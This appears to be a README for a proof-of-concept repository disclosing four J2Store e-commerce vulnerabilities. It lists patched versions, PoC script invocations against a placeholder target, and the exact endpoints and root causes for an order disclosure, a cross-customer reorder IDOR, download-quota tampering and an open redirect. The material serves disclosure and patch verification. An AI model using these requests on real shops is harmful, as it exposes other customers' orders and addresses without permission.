murrez/cve-j2store-2026PoC for J2Store CVE-2026-67358–67362 (J2Commerce security advisory Aug 2026)
Proof-of-concept material for four vulnerabilities in com_j2store (J2Commerce J2Store), discovered by Murrez and fixed in:
| Branch | Patched version |
|---|---|
| J2Store 3.x |
| 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Official advisory: J2Commerce Security Announcement (2026-08-20)
| CVE | Issue | Auth | CVSS 4.0 | Severity |
|---|---|---|---|---|
| CVE-2026-67359 | Unauthenticated order line items + totals via expressconfirm | None | 8.7 | High |
| CVE-2026-67360 | Cross-customer reOrder IDOR (victim cart/address in attacker session) | Low (logged-in) | 8.7 | High |
| CVE-2026-67358 | updateHitCount burns another customer's download quota | Low (guest order token) | 5.3 | Medium |
| CVE-2026-67362 | Open redirect in cart tasks (setcurrency, addItem, applyCoupon, applyVoucher) | None | 5.1 | Medium |
Tested version: J2Store Pro 4.1.5 on Joomla 5.x (local lab).
For authorized security research and patch verification only. Do not use against systems you do not own or lack explicit permission to test.
pip install -r requirements.txt
Python 3.10+
Default lab base URL: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Minimal Burp/curl replays: replay/
expressconfirm order disclosureEndpoint: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
When no active checkout session exists, any order_id renders the express-checkout confirmation page (line items, quantities, prices, totals) without authentication.
Root cause: components/com_j2store/controllers/checkouts.php — expressconfirm() uses request-supplied order_id without ownership check.
reOrder IDOREndpoint: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Authenticated user with a victim's order_id can trigger reorder: victim line items copied to attacker's cart; victim billing/shipping address IDs stored in attacker's session.
Root cause: components/com_j2store/controllers/myprofile.php — reOrder() validates CSRF and login but not $order->user_id.
updateHitCount quota manipulationEndpoint: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Guest or customer with their own valid (order_id, token) pair can increment limit_count on another order's orderdownload_id. No CSRF token required.
Root cause: components/com_j2store/controllers/myprofile.php — token checked against caller's order only; orderdownload_id not bound to that order.
Tasks: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Base64-encoded redirect / return parameters decoded and passed to $app->redirect() without host allowlisting. JRoute::_() does not block absolute external URLs.
Root cause: components/com_j2store/controllers/carts.php
Issues 1, 2, 3 and 5 in the vendor advisory — Murrez ([email protected]).
Coordinated disclosure via J2Commerce and Joomla Security Strike Team.
MIT — see LICENSE.